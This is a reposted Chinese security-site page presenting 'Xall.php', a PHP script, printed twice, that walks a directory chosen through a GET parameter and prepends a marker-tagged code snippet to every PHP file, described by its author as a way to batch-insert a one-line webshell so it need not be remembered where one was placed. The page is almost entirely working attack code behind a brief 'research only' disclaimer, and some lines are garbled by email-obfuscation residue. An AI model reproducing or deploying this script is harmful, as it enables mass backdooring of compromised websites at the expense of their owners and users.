Xall.php-批量查询插入一句话 's

admin 2017年4月24日09:06:47评论238 views字数 1113阅读3分42秒阅读模式
摘要

作者:xy7[B.C.T]总是忘记一句话放到哪个文件里去了,直接全部干掉…

<?//xy7
if (!isset($dir) or empty($dir)) {
$dir=str_replace('//','/',dirname(__FILE__));
echo "<font color=/"#00688B/">".$dir."</font>";
} else {
$dir=$_GET['dir'];
echo "<font color=/"#00688B/">".$dir."</font>";
}
$evilcode="<?phpinfo();//xy7?>";
$testdir = opendir($dir);
while($filea = @readdir($testdir)){
if(strstr($filea, '.php')){
$fp = @fopen($filea, 'r+');
if (!strstr(@fread($fp, 20), 'xy7')){
rewind($fp);
$old = @fread($fp, filesize($filea));
rewind($fp);
fwrite($fp, $evilcode . $old);
}
fclose($fp);
}
}
closedir($testdir);
?>
<hr>
<table width="100%" border="0" cellpadding="3" cellspacing="1">
<tr>
<td><b>被X的文件</b></td>
<td><b>时间</b></td>
<td><b>大小</b></td>
</tr>
<?php
[email protected]($dir);
while ([email protected]($dirs)) {
if ((is_file($file)) and (ereg("/.php{0,1}$",$file)))
{$b="$dir/$file";
[email protected]_dir($b);
if($a=="0"){
[email protected]("$dir/$file");
[email protected]("Y-n-d H:i:s",filectime("$dir/$file"));
echo "<tr>/n";
echo "<td>$file</td>/n";
echo " <td>$lastsave</td>/n";
echo " <td>$size Bytes</td>/n";
}
}
}
@closedir($dirs);
?>
</table>
codz by xuanmumu

作者:xy7[B.C.T]

总是忘记一句话放到哪个文件里去了,直接全部干掉…

<?//xy7
if (!isset($dir) or empty($dir)) {
$dir=str_replace('//','/',dirname(__FILE__));
echo "<font color=/"#00688B/">".$dir."</font>";
} else {
$dir=$_GET['dir'];
echo "<font color=/"#00688B/">".$dir."</font>";
}
$evilcode="<?phpinfo();//xy7?>";
$testdir = opendir($dir);
while($filea = @readdir($testdir)){
if(strstr($filea, '.php')){
$fp = @fopen($filea, 'r+');
if (!strstr(@fread($fp, 20), 'xy7')){
rewind($fp);
$old = @fread($fp, filesize($filea));
rewind($fp);
fwrite($fp, $evilcode . $old);
}
fclose($fp);
}
}
closedir($testdir);
?>
<hr>
<table width="100%" border="0" cellpadding="3" cellspacing="1">
<tr>
<td><b>被X的文件</b></td>
<td><b>时间</b></td>
<td><b>大小</b></td>
</tr>
<?php
[email protected]($dir);
while ([email protected]($dirs)) {
if ((is_file($file)) and (ereg("/.php{0,1}$",$file)))
{$b="$dir/$file";
[email protected]_dir($b);
if($a=="0"){
[email protected]("$dir/$file");
[email protected]("Y-n-d H:i:s",filectime("$dir/$file"));
echo "<tr>/n";
echo "<td>$file</td>/n";
echo " <td>$lastsave</td>/n";
echo " <td>$size Bytes</td>/n";
}
}
}
@closedir($dirs);
?>
</table>
codz by xuanmumu

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年4月24日09:06:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Xall.php-批量查询插入一句话 'shttps://cn-sec.com/archives/47210.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息